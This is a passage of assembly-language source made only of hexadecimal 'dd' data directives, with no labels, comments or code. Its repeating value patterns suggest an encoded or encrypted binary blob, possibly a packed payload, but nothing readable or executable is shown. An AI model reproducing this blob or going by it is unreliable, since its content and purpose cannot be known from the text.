883BFC06h, 0A2CA1566h, 0D94E9ADFh, 7010B6E1h dd 0BC6390EFh, 0C73D1372h, 22321567h, 48B7D393h, 0DA34017Ch dd 44339969h, 0DBC71566h, 0CC03020Eh, 8837FCECh, 69A61566h dd 0DD0D0039h, 52350D3h, 8822FC60h, 5FAE1566h, 5E7277BAh dd 6CC3BBDCh, 3639F5FFh, 0C1BFE0FCh, 24262E75h, 11321C8Fh dd 9EDF4E66h, 3A7F2BD3h, 0F2CDC3EBh, 0ACB79C9Eh, 6134016Fh dd 4432156Dh, 1F362DC3h, 37FC8073h, 87A79B8Ch, 443216E3h dd 43CE7566h, 0B6B90A0h, 61641372h, 44321568h, 72F79FDEh dd 0A9078F18h, 7912EC80h, 7D5A1C39h, 0DAE60A0Bh, 0BE3A099h dd 9521372h, 0FAF618AFh, 431DA438h, 91E990EBh, 0B3D1371h dd 4432156Ah, 22349069h, 983D1566h, 88321566h, 0C93DC599h dd 22321567h, 0DCB79C9Fh, 71340160h, 5E6B90A0h, 0CB751372h dd 1132156Ch, 0F481EA8Fh, 9B2521D9h, 585A740Bh, 0E8B3C976h dd 9977A099h, 0C03D1372h, 22321571h, 11239969h, 84DB1566h dd 43321566h, 7FF19907h, 0B7913E11h, 504E23Dh, 500906E3h dd 2EBC1A60h, 0F8321566h, 88321561h, 0F3C2935Ch, 0DD7EC32Ah dd 1120FCB6h, 7F161566h, 87215BDFh, 27212DFCh, 66CC0C53h dd 0A4B38D74h, 41B790EFh, 0E4C71372h, 5284CE3h, 86DB5260h dd 0BF321566h, 98263CE4h, 9D95BFF0h, 0C0F016AFh, 443DFC36h dd 51631566h, 0EC9E32D7h, 0DE64921Eh, 25673BF1h, 97D07D74h dd 9B529F69h, 6AB373AAh, 0BB5384FFh, 362350D3h, 0FEB37560h dd 9A875954h, 0A97740DDh, 0A7BF7432h, 17262E75h, 88321A8Fh dd 0A3A21966h, 0BB84E2BDh, 0FF80D6CDh, 0ACAC3436h, 0F152C599h dd 27B41AE3h, 0A8321566h dd 880212D2h, 84B79C07h, 0CB340E1Eh, 11321560h, 4B2695DFh dd 83CE4F03h, 36311CE3h, 11326D60h, 35B1E066h, 42263EF3h dd 5DB61A66h, 7132157Fh, 0BCED9400h, 838D1A90h, 7BB7D307h dd 5D34017Ch, 94DB7D9Ah, 0BBC7CCBCh, 362350D3h, 113AFC60h dd 9A011566h, 95AB791Ah, 0A7BF2944h, 17262E75h, 883F9169h dd 4CDB1566h, 86321566h, 8FCE567Ah, 77AB847Fh, 43BD1AB6h dd 42321566h, 47E3AA69h, 0DBB7438h, 42296DCAh, 223A9E69h dd 77521566h, 0D84096D8h, 82CA743Ch, 36284CE3h, 2DB5960h dd 0F0321566h, 521C1338h, 0AF9D09D6h, 0E1DA081Bh, 3257F67Fh dd 8A5AD5FBh, 0DAEF61B8h, 77A099h, 73D1372h, 44321572h dd 22321A8Fh, 0A6CC4C66h, 0D249BA9Ch, 0E2D910Eh, 95ACE77Dh dd 2A2190EBh, 0EE521372h, 0E08ECCE7h, 0B245CEE7h, 0EE53393Bh dd 8823FCB6h, 0E18B1566h, 65110557h, 0CF370794h, 78E64939h dd 0CDA3F1B3h, 394AA5E3h, 19BC1A60h, 87321566h, 443217ECh dd 0E4537566h, 5284CE3h, 33D5960h, 4432157Bh, 2220FC06h dd 0E1CE1566h, 631A0CBh, 1E2B1CAAh, 85591158h, 0C316741h dd 8BB0AD00h, 0C60D7D07h, 0AB3DA2E7h, 1132156Eh, 88309F69h dd 25521566h, 3377A099h, 1EDB1372h, 0A4321566h, 0EC8FA281h dd 61C8F6DEh, 7F2FC664h, 0DBF45DDh, 42262E75h, 22339569h dd 0EECE1566h, 86B91AB6h, 0AD321566h, 2232156Fh, 0B565DE97h dd 5D3C5D56h, 0F0B79CF4h, 0DB340E1Eh, 0B6B90A0h, 707E1372h dd 6B720D0Eh, 2223FCD5h, 0F4461566h, 0A514BEB0h, 2CA6B84Fh dd 0DD261928h, 71FB8C92h, 49CD4FDFh, 86B97308h, 6787EA07h dd 0F8340177h, 88321574h, 0AA0ADA40h, 4B7D4EF8h, 5AFE65B1h dd 0E4057235h, 0C1BF0DACh, 24262E75h, 17BF1A06h, 87321566h dd 443215EDh, 6593AE66h, 0EE532D4Ch, 8FB31AB6h, 4B321566h dd 223214E0h, 16DBEC66h, 56321566h, 5691E2D8h, 0A7BB5FEAh dd 17296DD2h, 88321E8Fh, 8B1E6766h, 98FB8008h, 0B2EF410Fh dd 926B90A0h, 4B741372h, 22320EEBh, 0E9B97566h, 8832078Fh dd 1FC89E66h, 0FF7A60CDh, 1398B669h, 0C5927612h, 25BF6426h dd 0FC34010Eh, 0AB61ADCh, 0E8321566h, 56DB4C30h, 0C7321566h dd 68D15873h, 8A7EF6ACh, 402DABD0h, 0AF341A1Ch, 0A4CD7408h dd 8E260423h, 8BB37306h, 0A3548CAAh, 7024928Ch, 88321F8Fh dd 61D7766h, 53EE3588h, 9C2EE277h, 9C0906E3h, 0CE3D7560h dd 2232157Fh, 1132018Fh, 77D07966h, 0CB9F47D4h, 90CEA246h dd 0A5A3AFC7h, 0C41C8986h, 87B373F9h, 0DD537FB2h, 1126FCB6h dd 2A5E1566h, 2C18033Eh, 0E150A412h, 983A273Dh, 2343A3F9h dd 0C1BB0F3Dh, 24296DDAh, 5A887306h, 0DF47411h, 42260F3Fh dd 585AED21h, 0E9B3C976h, 9977A099h, 0CD3D1372h, 22321574h dd 1132188Fh, 1480EC66h, 4039E326h, 6BAF1880h, 94BFAB07h dd 8E262E75h, 4432048Fh, 0D71D7E66h, 5526D693h, 0BA68F096h dd 0C713FA17h, 0A83DB5EDh, 11321573h, 8832058Fh, 9FA0D666h dd 933FA796h, 0A1E1125Fh, 0E71BCAD5h, 0ADE2EAFEh, 2232156Dh dd 0CDD2E12Eh, 0BBC61C57h, 0CDCF9D6Bh, 394AD1E3h, 10B31A60h dd 71321566h, 5E6B90A0h, 2D751372h, 11320FE4h, 9CB11A66h dd 0AD321566h, 22321569h, 77B8D2Ch, 354D0Fh, 106BF5F1h dd 4ABA066Bh, 0FEB59BCAh, 88339169h, 0BBC71566h, 362350D3h dd 7BD1A60h, 61321566h, 44321577h, 0F84DC44Ah, 0EE37E8F5h dd 0F7CC44D9h, 0E6F2F387h, 31B798C2h, 0F834015Dh, 88321574h dd 7702A02Eh, 7E7695EFh, 97C53EEDh, 40E3CA8Dh, 94CD88CEh dd 0EBEB9406h, 4276DFF5h, 88321C8Fh, 8ADC7D66h, 0B222DD4Fh dd 7068901Dh, 88399269h, 22521566h, 9DFEB6D8h, 798E0E3Bh dd 40B79C07h, 24340E1Eh, 0CACC9E00h, 11321561h, 41C77Ch dd 127FBEF5h, 0D7534B39h, 0B6B90A0h, 87751372h, 443206EFh dd 0CDB27566h, 113BFC0Bh, 0F9441566h, 214A70Dh, 437E52ABh dd 8B95C70Eh, 8822FCB2h, 24A81566h, 9AD10315h, 0FF3B6E72h dd 4808F9FBh, 0F1CD79D0h, 24260423h, 11359D69h, 8521566h dd 1E624683h, 31B79807h, 0F834015Dh, 8832156Ah, 87215BDFh dd 27212DFCh, 66CC0C53h, 883F9169h, 4CDB1566h, 0A1321566h dd 0E056BAFBh, 77D7FCBDh, 0C1BBEDB6h, 24296DAAh, 112E9569h dd 60521566h, 44321574h, 53CA50A2h, 1643CF33h, 470642BDh dd 607D7500h, 426DF8DFh, 94F47407h, 8E260F3Fh, 4422FC21h dd 0D6201566h, 0C3E7DB64h, 31BF2612h, 0A4795E02h, 265A24ABh dd 0F888D45Fh, 88321560h, 0FD70050Ch, 27DBD085h, 9F321566h dd 840AC8D5h, 5577A099h, 44521372h, 0F861E5EDh, 8832156Bh dd 856C58F8h, 94C89944h, 9A5E5C0h, 5534BBCh, 500906E3h dd 30B21A60h, 0F8321566h, 8832156Bh, 45F4E050h, 8079A866h dd 0F52F2Bh, 80BA1A6Bh, 24321566h, 2DC5A269h, 0EE53CED1h dd 94BB1AB6h, 4B321566h, 223203E0h, 1123FC66h, 0E15E1566h dd 81B64B20h, 0B343490Ch, 0E40B4AC7h, 13A3839h, 5F4AC5E3h dd 2ABB1A60h, 1E321566h, 883217ECh, 0C7537566h, 36121CDBh dd 943D1560h, 88321506h, 1DB7D39Ah, 6534017Ch, 11389469h dd 8DDB1566h, 2A321566h, 95459CF6h, 3C557D93h, 77C7F514h dd 502350D3h, 0A7BFE060h, 17262E75h, 87E2EA9Fh, 443219E8h dd 2235FC66h, 0F7501566h, 3952AA5h, 4421FCF2h, 0D7531566h dd 7196D2F1h, 3B21EBFBh, 17C846D6h, 6F6D4002h, 0C5B79C73h dd 71340E1Eh, 5E6B90A0h, 0DE751372h, 3881A40Eh, 3DCDEDE8h dd 42260423h, 22339F69h, 9CCA1566h, 9C0906E3h, 50B91A60h dd 0CB321566h, 11321569h, 8CBC3E12h, 5E51B3DDh, 8B8978CFh dd 0EEECB38Ah, 8838FCB6h, 3561566h, 3B54735Bh, 2671102Fh dd 8832188Fh, 479BDD66h, 0AFEE6984h, 5FF2773Ah, 0DBB8152h dd 42296DBEh, 22339669h, 0D7C71566h, 9C284CE3h, 24525660h dd 43C4AA69h, 41E1AC00h, 0C2957D07h, 4BDBD510h, 0E0321566h dd 75BC5E1Fh, 0EAE693C0h, 0DDC116AEh, 97CD2628h, 17260423h dd 9BB7989Eh, 0BC34015Dh, 22339A69h, 0EECE1566h, 0DBBE0B6h dd 42296DBAh, 2220FC06h, 9441566h, 60D75B15h, 2E93570Eh dd 0C18B5776h, 9BB70AA3h, 88349969h, 0CE3D1566h, 22321566h dd 48B7D307h, 0C434017Ch, 44321A8Fh, 0C0D0B466h, 907EF43h dd 0FA3A308Eh, 0C3740588h, 445EFE0Eh, 2DB759Dh, 0FF321566h dd 2FFACFD4h, 11A69B5Dh, 10DA814Bh, 63A1DDB4h, 0FB3DD70Ch dd 97CD7495h, 17261C57h, 9EB9E06h, 4D586997h, 0A7BF740Eh dd 17262E75h, 882D9069h, 0C43D1566h, 2232157Fh, 1132018Fh dd 7F872C66h, 558F2306h, 1266732Dh, 36061AFEh, 4D47931Fh dd 0B1E2EA97h, 5B4290EFh, 7052137Dh, 926B90A0h, 24761372h dd 2220FC93h, 98EB1566h, 55F42C58h, 12394D8Bh, 72C39E94h dd 184391ACh, 9CB61A07h, 0AD321566h, 22321569h, 0A33602C5h dd 0FBDDE6DFh, 4756E411h, 4AD20709h, 0AA419B33h, 748B7506h dd 2541814Bh, 0DA53C5ECh, 77A099h, 0EE521372h, 15BCFDE7h dd 1853AB00h, 94BFE907h, 8E262E75h, 44359B69h, 0A83D1566h dd 11321567h, 61E2EA9Fh, 44321575h, 0AE664705h, 0B2D53D22h dd 8AD73DA4h, 4A615173h, 2D40E8C8h, 113205EDh, 8839FC66h dd 0B40D1566h, 83BB4770h, 499F3001h, 68B79CADh, 0AD340E1Eh dd 22321576h, 92300639h dd 0B3BF40C4h, 0FBC78C3Eh, 2F8CA151h, 0B6B90A0h, 0E8711372h dd 5FC4AD00h, 22321D8Fh, 27096666h, 48D96490h, 0B85A7457h dd 0CB8E9B08h, 1132156Ch, 38889372h, 0C3627156h, 97CD6BD8h dd 17260423h, 8832018Fh, 0A2A81C66h, 5249682Dh, 5A59AD86h dd 3D19C4A6h, 30ACE4D7h, 31B798B9h, 0E434015Dh, 1CBC599h dd 5F4AF1E3h, 31DB7560h, 0F7321566h, 68250A21h, 9EE793BFh dd 31ECE497h, 0DAEA91F5h, 6585B8EAh, 1DB7D307h, 7134017Ch dd 11321F8Fh, 0B1EC4266h, 27D214C0h, 0D7B3958Ah, 10CBF0Eh dd 13D75A0h, 44321562h, 3E97AD00h, 0EE534AD4h, 9C2350D3h dd 22C77560h, 4372E8DEh, 2A2190EBh, 61521372h, 44321561h dd 219F4BA7h, 0E889E2A0h, 70E2EA07h, 3CDA90EFh, 0CBCA137Dh dd 11321577h, 0A42869C6h, 5F2D8E51h, 18458317h, 0FE116DBFh dd 0C18F9605h, 4434016Fh, 21C39169h, 0D7CE1566h, 9C284CE3h dd 0C33D5360h, 22321560h, 716B4706h, 0E0CE7407h, 0BEA4DB57h dd 6787EA9Fh, 0F8340177h, 88321563h, 75CA90E3h, 31B7982Bh dd 7134015Dh, 74E2EA07h, 3D7690EFh, 0AE3D137Dh, 1132156Eh dd 88309E69h, 25521566h, 386B90A0h, 71741372h, 88309E69h dd 25521566h, 43F5AA69h, 76FC9406h, 0E95626E6h, 0E308C30Eh dd 97CDE99Ah, 17260423h, 9BB7989Eh, 2434015Dh, 2CE39400h dd 15BA1A99h, 0EE321566h, 25361DDCh, 0A13DC599h, 11321573h dd 8832058Fh, 511B3066h, 9335623Fh, 0F00E9BD5h, 96A6FE63h dd 4AB91A75h, 0CB321566h, 1132156Fh, 0DA0863A9h, 9753F183h dd 76B79C0Ch, 71340E1Fh, 438D1A93h, 1DB7D307h, 6434017Ch dd 11299A69h, 3D1566h, 44321573h, 2232058Fh, 0E1163D66h dd 0D36E6163h, 9EA5B703h, 47D439DDh, 0B5327D69h, 352879Ah dd 25CC9EAEh, 3377A099h, 903D1372h, 8832156Ah, 44B41A06h dd 44321566h, 7013BBDEh, 0B32190EBh, 0BBC71372h, 27DB75B6h dd 0FA321566h, 0F6E0F247h, 175AF00h, 7AB79C07h, 71340E1Fh dd 0CDD39400h, 255243E0h, 0A7F4743Fh, 17260F3Fh, 91BB1A20h dd 0AD321566h, 22321572h, 8913578Eh, 8DCDFE00h, 3476811Fh dd 31D10AD5h, 9687DC60h, 88229669h, 4FDB1566h, 0FD321566h dd 0B7836574h, 1268A8EFh, 2E5AC4AFh, 0CBC4C129h, 11321568h dd 30A77C2h, 900CBF21h, 0FD78BE3Ch, 0A4CD7380h, 8E260423h dd 44339469h, 0AFC71566h, 50906E3h, 90B41A60h, 4B321566h dd 223207EEh, 113FFC66h, 6B251566h, 407D55EDh, 2C9BC8CCh dd 0EE5FACC2h, 99B11AB6h, 0AD321566h, 2232156Ah, 5A53B92Dh dd 37F98CF0h, 7DD198EBh, 5B6E90EFh, 943D137Dh, 8832157Eh dd 4432068Fh, 0A50FBB66h, 0BCDC0C23h, 9FDE3D75h, 0F01B7741h dd 9B60B39Eh, 1132078Fh, 0D2C32066h, 71139C0h, 69712CD3h dd 6BDA129Eh, 4E9F714Dh, 50284CE3h, 33DB5360h, 39321566h dd 0F42AD99h, 0A6BF27F8h, 344F4970h, 2E090F63h, 4562F20Eh dd 4426FCF2h, 0BEEA1566h, 18F3F200h, 4C758082h, 0D42E3651h dd 0E49A7E71h, 0A4CD36F8h, 8E260423h, 443B9B69h, 74521566h dd 0E0B3733Ch, 6153B852h, 44321569h, 0A8510395h, 0CCF79C78h dd 0EF1AD10Ch, 0C9485614h, 360906E3h, 1DA7560h, 0DD321566h dd 0CC7D01BAh, 0C948BD49h, 0A5B99235h, 877805C4h, 256AC2D1h dd 0A952C599h, 5DB46A5h, 1321566h, 3C852962h, 53EC8A07h dd 0AA275625h, 851C8AD7h, 1D108AB3h, 0A7BBED07h, 17296C2Eh dd 7D53ED06h, 5E6B90A0h, 42741372h, 112A9D69h, 9BDB1566h dd 71321566h, 1BFD38A2h, 0A64D31E3h, 0DC622EA3h, 9C8C4CECh dd 0A43DF213h, 11321563h, 0E0FC9400h, 7F5A7458h, 2D833712h dd 113219EBh, 8835FC66h, 0DCA91566h, 0C78DA6F6h, 5487EAE9h dd 0E8340177h, 0C6DB46DCh, 0A7BF743Eh, 17262E75h, 88359869h dd 0C93D1566h, 22321567h, 71E2EA9Fh, 0EBE19400h, 443DFD37h dd 0C8231566h, 9E69159h, 0BC646017h, 3FA50C9Ah, 22BD1AC4h dd 4B321566h, 8FDB7507h, 47321566h, 0A0194D6Bh, 98539E1Fh dd 934B59E3h, 4439FC60h, 0A24C1566h, 95B05905h, 0FEB54D8Fh dd 0C1F4ED24h, 24260F3Fh, 1122FC20h, 0EFF71566h, 198679EFh dd 4177C414h, 6790BFA5h, 655A0F11h, 0ADED6C8Ch, 22321577h dd 1370AE16h, 70FA947Ah, 4C317AFCh, 1B88EC96h, 5487EA1Ch dd 7D340177h, 7F2190EBh, 0DDCE1372h, 1121FCB6h, 8F571566h dd 3AC4D869h, 0E434D386h, 7019183Ah, 8D434EEh, 14B79C5Dh dd 2D340E1Fh, 11321BECh, 883BFC66h, 38B11566h, 73E28009h dd 92DE240Fh, 9C121CDBh, 0C13D1560h, 22321538h, 48B7D393h dd 0DB34017Ch, 0F3CB7506h, 4A53748Ah, 0DF8CF538h, 82B91A9Fh dd 24321566h, 0F2C39400h, 0DAF69505h, 0CD87EA07h, 0B8340177h dd 192190EBh, 0DB1372h, 0D2321566h, 74F43725h, 2F9595Ch dd 0CB00D875h, 3F2E4D2Eh, 0CDCEC599h, 394AF9E3h, 113AFC60h dd 93B51566h, 68B1E17Fh, 0A7F42108h, 17260F3Fh, 9CB71A21h dd 24321566h, 22321D8Fh, 0D3E92166h, 0BD817356h, 171EAB01h dd 0CB536FBBh, 1132156Dh, 0AA1C4F8Fh, 2410D865h, 4A876DCDh dd 0D6834BE1h, 8832068Fh, 1F911B66h, 97BCDFB4h, 0DCD760C0h dd 86580A02h, 7E577641h, 3377A099h, 1EDB1372h, 9D321566h dd 7E699ECAh, 5FFB4B23h, 0CD99E187h, 0D8524A74h, 1C9CE1E6h dd 7B537537h, 2B79807h, 8734015Dh, 443214E2h, 0A03DEC66h dd 1132156Ch, 87C19F06h, 443215E7h, 0F2CD7466h, 113F9B69h dd 9521566h, 23C29FACh, 48EFAD0Ah, 985364EFh, 934AE5E3h dd 0F9B1EC60h, 2426356Fh, 9FB71A66h, 61321566h, 44321577h dd 0D14607FDh, 5C5D91DEh, 4CFE4E43h, 1D80717Ch, 7BB7D370h dd 5634017Ch, 8832068Fh, 6678C166h, 7278A761h, 2271B4ABh dd 9A70BEF4h, 0AEC07D3h, 404C100Eh, 19B81A80h, 0E8321566h dd 0FE54D4EDh, 0DD53A4CDh, 52350D3h, 8834FC60h, 3B01566h dd 14F3FF5Dh, 2A2190EBh, 77CB1372h, 45B31AB6h, 0DA321566h dd 69C690EFh, 6152137Dh, 44321569h, 173D6A0Ah, 15FF10FDh dd 624A0FD6h, 4B90F606h, 223217E7h, 70537566h, 0D1B7D39Eh dd 734017Ch, 2232128Fh, 0C9280566h, 95360D77h, 3E3BE30Eh dd 0D752E9F4h, 70F8A269h, 9977A099h, 0C9CA1372h, 360906E3h dd 1123FC60h, 6D461566h, 6914BEB0h, 4AA6B84Fh, 0EE261928h dd 77FB8C92h, 0C83DE9B6h, 2232156Eh, 11309F69h, 0E9521566h dd 3CCA90EFh, 9652137Dh, 94F4744Ah, 8E260F3Fh, 0C73D7525h dd 22321565h, 9AF0AA69h, 0A85A74A9h, 24CE34F1h, 5B62F8DEh dd 1139FC41h, 356E1566h, 216B9669h, 2664D0EEh, 0A4CD7425h dd 8E260423h, 54B51A93h, 0CB321566h, 1132156Dh, 642467A6h dd 79943803h, 0AFCEDCA9h, 50906E3h, 0D6637560h, 44349D69h dd 0A23D1566h, 11321566h, 87E2EA07h, 44321BE2h, 27DB7566h dd 0ED321566h, 4B8F5DB3h, 4B53EEEDh, 22321CEDh, 4B627566h dd 0BCD3D5DEh, 0C1BB745Eh, 24296D9Ah, 1126FD06h, 0C111566h dd 3FB1C48Eh, 0F9B939A8h, 7CE1878Dh, 0F974076Bh, 0B3B37CBDh dd 5202CA71h, 1134FD3Eh, 588C1566h, 0AF8790E6h, 7A4FDFE6h dd 188F9607h, 88340146h, 45249069h, 0A33D1566h, 11321570h dd 61C09E06h, 4432156Bh, 9AF32FEh, 966769B7h, 643BCC0Bh dd 0C1F47460h, 24260F3Fh, 993D7525h, 88321563h, 27F39400h dd 0AE3D75D9h, 11321566h dd 8832078Fh, 62533466h, 7B7B30EDh, 0B4132C15h, 0C458804Fh dd 2538C7FDh, 8A317D07h, 0E9529E66h, 88B41A31h, 1D321566h dd 0E9B37507h, 24E387C7h, 9ED59400h, 0F1CD742Bh, 24260423h dd 11321E8Fh, 23619A66h, 9D9454EBh, 3731B3Ah, 11339B69h dd 5C71566h, 500906E3h, 0F2CDE060h, 11209D69h, 85DB1566h dd 0C6321566h, 4424890Eh, 0B51C912Fh, 4F3F553Fh, 3D3690EFh dd 0A23D137Dh, 11321568h, 88321C8Fh, 0A22D8566h, 0A6D72740h dd 94F4F3DCh, 8E260F3Fh, 4FB31A25h, 42321566h, 0C4D71AD9h dd 46897301h, 915A74E8h, 0DAD74E50h, 77A099h, 9ADB1372h dd 0FC321566h, 56DBA78h, 0E52EB2DCh, 0A7F6EAC2h, 5D6743D2h dd 31B798B8h, 1E34015Dh, 883214EEh, 94CDE966h, 22B79C9Ah dd 0E9340E1Fh, 926B90A0h, 24711372h, 2232108Fh, 0EE814566h dd 0EE52F77Bh, 4B4645D9h, 4353E2D9h, 0BB00F40Eh, 8752E98Ch dd 25CAC4D1h, 3377A099h, 0A8521372h, 9CC5F45Eh, 25FA9E00h dd 192190EBh, 91521372h, 7753CD92h, 6C8975B6h, 0A95FF648h dd 98CE749Fh, 934B1DE3h, 8FB97560h, 4369EC31h, 0B6B90A0h dd 87711372h, 443214EAh, 155AEC66h, 71B6E4CAh, 88379F69h dd 4D8D1566h, 0A3496855h, 0DABAC4A1h, 3DCD7453h, 42260423h dd 2232128Fh, 9DDE766h, 0C5444DE4h, 7F2190EBh, 0DDCE1372h dd 913D75B6h, 88321566h, 443F9B69h, 25DA1566h, 97321566h dd 57096F3Eh, 2569C8C7h, 2EB79C9Fh, 1E340E1Fh, 883214E4h dd 0C1F4E966h, 24260F3Fh, 1139FC29h, 0C2E71566h, 0B8903DBFh dd 79C91529h, 81E67DACh, 3E528253h, 443DFC5Ah, 0D1631566h dd 0D5BCFEE1h, 8CE441EAh, 3AFE80A5h, 97CD7498h, 17260423h dd 8832188Fh, 0BAE07266h, 0B4BB741Ch, 0F3F9D399h, 0DBFC792h dd 42262E75h, 2238FC06h, 76E71566h, 0F21FA43Fh, 689BEED8h dd 2DE2EA07h, 113214E2h, 0DBBED66h, 42296C76h, 22339569h dd 0D7CE1566h, 9C284CE3h, 4B525A60h, 0CB60CBD1h, 1132156Fh dd 7CB95274h, 83490FA3h, 4A534C6Eh, 0E85C1B64h, 883F9369h dd 4CDB1566h, 0F9321566h, 0A1340DD5h, 87B2C1CAh, 443201E4h dd 223DFC66h, 15301566h, 81DAD9D9h, 169D0E0Bh, 0D971BC6Eh dd 5487EADAh, 0E8340177h, 44321F8Fh, 0B73A1B66h, 3B099225h dd 0EE11877Dh, 89F7C3E7h, 31B79807h, 0F834015Dh, 88321576h dd 4C0B8D3Ch, 17EB5430h, 87D3DA23h, 0FCB86481h, 0C83DC599h dd 22321576h, 11321E8Fh, 5E47E466h, 0F036549Dh, 5DDEE5B3h dd 1132048Fh, 0F762C66h, 0B04CB744h, 6D7FDC68h, 4179CE4Dh dd 0DBBD2E2h, 42296C72h, 0CAB34406h, 3C03F0D1h, 883EFC39h dd 0B3391566h, 186B9B80h, 0A5307FCDh, 4E53EFFDh, 50284CE3h dd 24DB5860h, 0B2321566h, 0C6FAB62h, 0D5AED14h, 42FA221Fh dd 11321C8Fh, 4727BA66h, 9C745ED7h, 0A954308Bh, 0A4CD749Ch dd 8E260423h, 57B79893h, 0DA34015Dh, 14DBC599h, 63321566h dd 0F86DEB57h, 5B2E90EFh, 1EC7137Dh, 883206E0h, 443CFC66h dd 5F0D1566h, 0D27FFA1h, 870F7364h, 84A57D65h, 386B90A0h dd 717F1372h, 883D9B69h, 4EDB1566h, 6E321566h, 6C20CFFAh dd 34AC3CDAh, 25F59EA6h, 0D57F9C0Eh, 0A4CDECBAh, 8E260423h dd 57B7989Eh, 0CB34015Dh, 1132156Dh, 2300F146h, 4BFA4B44h dd 0DDDD1682h, 9A3DE9B6h, 8832156Ah, 0A3B37306h, 0A354AA75h dd 701D3390h, 0F12A90EFh, 4FDB137Dh, 0D321566h, 0E7C9B860h dd 30536E0Ah, 0C1F42B14h, 24260F3Fh, 265AED33h, 87AE0E4Bh dd 44321FEDh, 0A63D7566h, 11321566h, 7753BDD2h, 502350D3h dd 2220FC60h, 0F9A61566h, 1BFAC767h, 2DF07F8Dh, 0D3EEB52Ah dd 0C3A325A5h, 0B32190EBh, 0C83D1372h, 22321567h, 0E8E2EA9Eh dd 0F11290EFh, 4B52137Dh, 223214E7h, 0D5B2ED66h, 0DF47424h dd 42260F3Fh, 85AEC25h, 71E0C096h, 88BC1A34h, 1F321566h dd 5ED29400h, 9A3D7423h, 88321561h, 44339C69h, 0DDCE1566h dd 52350D3h, 8826FC60h, 0C4201566h, 35FE49D1h, 0C9FF0461h dd 0AF0C5AFCh, 8416ADF5h, 0A7BFB496h, 17262E75h, 88321A8Fh dd 16041A66h, 0F44EE90Fh, 5EF2FC5Ah, 554671E2h, 0CB3DC599h dd 22321567h, 35B79C9Eh, 61340E1Fh, 4432156Ch, 0E0A457A1h dd 0EC40E4BBh, 0DF44E08h, 42260F3Fh, 2222FC34h, 0B44A1566h dd 1D7B9C2Ch, 130B746Ch, 56889794h, 943D17BDh, 88321571h dd 4432078Fh, 77422366h, 0F66ADC35h, 807F6DF5h, 4C87858Ch dd 4A60E104h, 0EC70A18Ch, 0CD87EA9Ah, 24340177h, 0D8EBAB00h dd 1E53D4EDh, 883201ECh, 4ABF1A66h, 0CB321566h, 1132156Fh dd 0E3436382h, 897433D4h, 31B79821h, 1E34015Dh, 883219E4h dd 42B41A66h, 2D321566h, 113215EFh, 61E2EA66h, 4432156Bh dd 6EFA40E9h, 5812F417h, 7CA36FE8h, 91B79CFDh, 2D340145h dd 11321DE1h, 33D7566h, 44321566h, 7BB7D307h, 5634017Ch dd 948AAA06h, 0C93D50E6h, 22321560h, 624D4E7h, 0E053263Bh dd 0A6AA4CFFh, 6787EA93h, 1E340177h, 883214EDh, 0C1BFE066h dd 24262E75h, 90F59E06h, 8A741989h, 94CD7479h, 0AB79C9Fh dd 0E9340E1Fh, 926B90A0h, 0AD751372h, 22321561h, 4EA43CE2h dd 7D1A2F62h, 0B952D70Eh, 223FFCD7h, 907E1566h, 833CD3FEh dd 43E0939Ah, 0DD8A5C04h, 52350D3h, 8822FC60h, 34F01566h dd 8F75C1E7h, 37749414h, 7857C474h, 0C1BFB4BAh, 24262E75h dd 1132068Fh, 0CFDBA866h, 0A030AF8Eh, 151BE272h, 0D05C9688h dd 52CA9DB4h, 56DBC599h, 0C1321566h, 0FD02DDAFh, 0DBAAB1D9h dd 83785664h, 0CED8D907h, 3DB79CBFh, 74340E1Fh, 44321C8Fh dd 43F77066h, 0D9DD3784h, 0DF44E00h, 42260F3Fh, 365AE021h dd 0E8EDB398h, 9977A099h, 41DB1372h, 79321566h, 4080D9CFh dd 0B32190EBh, 0CC3D1372h, 22321567h, 0F8E2EA93h, 8832156Ch dd 0A97D0A49h, 55CA8EE4h, 94BBABBAh, 8E296C56h, 4432198Fh dd 0CF5B5066h, 10E0A54Ah, 46D1F9F2h, 1DB7D3A2h, 7D34017Ch dd 11359469h, 23D1566h, 44321567h, 4A5AED93h, 0F8AC4594h dd 88321575h, 82D580E2h, 51F1EF05h, 5EFB25EDh, 1CC23811h dd 0BBCA792Bh, 362350D3h, 1123FC60h, 14CD1566h, 9C820779h dd 90291FC1h, 2A938090h, 5CCDADAh, 500906E3h, 223DFC60h dd 0D3341566h, 0F1EC028Bh, 0EC5EC859h, 54295BD7h, 1EE2EAD8h dd 883214E5h, 4EDBEC66h, 36321566h, 0DD4E030h, 3683ED63h dd 70B79C86h, 0CB340E1Fh, 11321561h, 4CCB97CDh, 0ADDE2E97h dd 22321563h, 7BB9C80Ah, 0D1B7D304h, 0B34017Ch, 590D7D93h dd 9C3DD29Ah, 88321567h, 187EA9Ah, 2D340177h, 113214EFh dd 0DBFEC66h, 42262E75h, 0EFE09406h, 7119A144h, 88329D69h dd 42DA1566h, 68321566h, 24A596ABh, 0E9534C55h, 55DBC599h dd 98321566h, 917A8798h, 8E6E44ABh, 8515D96Ah, 1187482Fh dd 71B79C93h, 61340E1Fh, 44321575h, 0C1975675h, 422436F7h dd 442ECA66h, 0EEACBA31h, 0E4EBE819h, 5284CE3h, 82DB5260h dd 9F321566h, 55B0E4EBh, 59BB7EE0h, 0E67E7D47h, 0AD52EF3Dh dd 22321561h, 0C5D1C78Ch, 0E962DD8Fh, 5577A099h, 32DB1372h dd 0CA321566h, 0C184324Dh, 21DA4DD2h, 0A5781677h, 9C1BBF7Eh dd 9C0906E3h, 94CDE960h, 22359669h, 953D1566h, 88321567h dd 20B79C9Eh, 42340E1Fh, 11321F8Fh, 0DB6F9266h, 0AF7B92D7h dd 2D7359DEh, 0D753CED1h dd 9C284CE3h, 0C23D5260h, 22321576h, 1134FD06h, 92C41566h dd 50FB0268h, 43F39F3Ch, 1716D80Eh, 89B71AA5h, 0BD321566h dd 44CB9E06h, 0FE4DCBE7h, 0CD87EA07h, 0BD340177h, 31B7989Ah dd 0F834015Dh, 88321574h, 49AD33DBh, 82C8FB5Ah, 0F1821FDCh dd 186DD79Eh, 0BBCB0636h, 223EFCB6h, 8CC11566h, 0BCFA3879h dd 1FA498D8h, 0A7BBEF21h, 17296C0Eh, 88389F69h, 22521566h dd 3006E5E7h, 709ACDE6h, 926B90A0h, 0BC6D1372h, 9952D90Eh dd 0A4CDE9B2h, 8E260423h, 57B7989Eh, 2D34015Dh, 11321DE1h dd 8AB41A66h, 24321566h, 2DE2EA07h, 113205E5h, 8839FC66h dd 61FB1566h, 39827EB9h, 409633E6h, 0B0B79CB3h, 0BC340E1Fh dd 386B90A0h, 0E46D1372h, 61665B0Eh, 443EFCF8h, 6D061566h dd 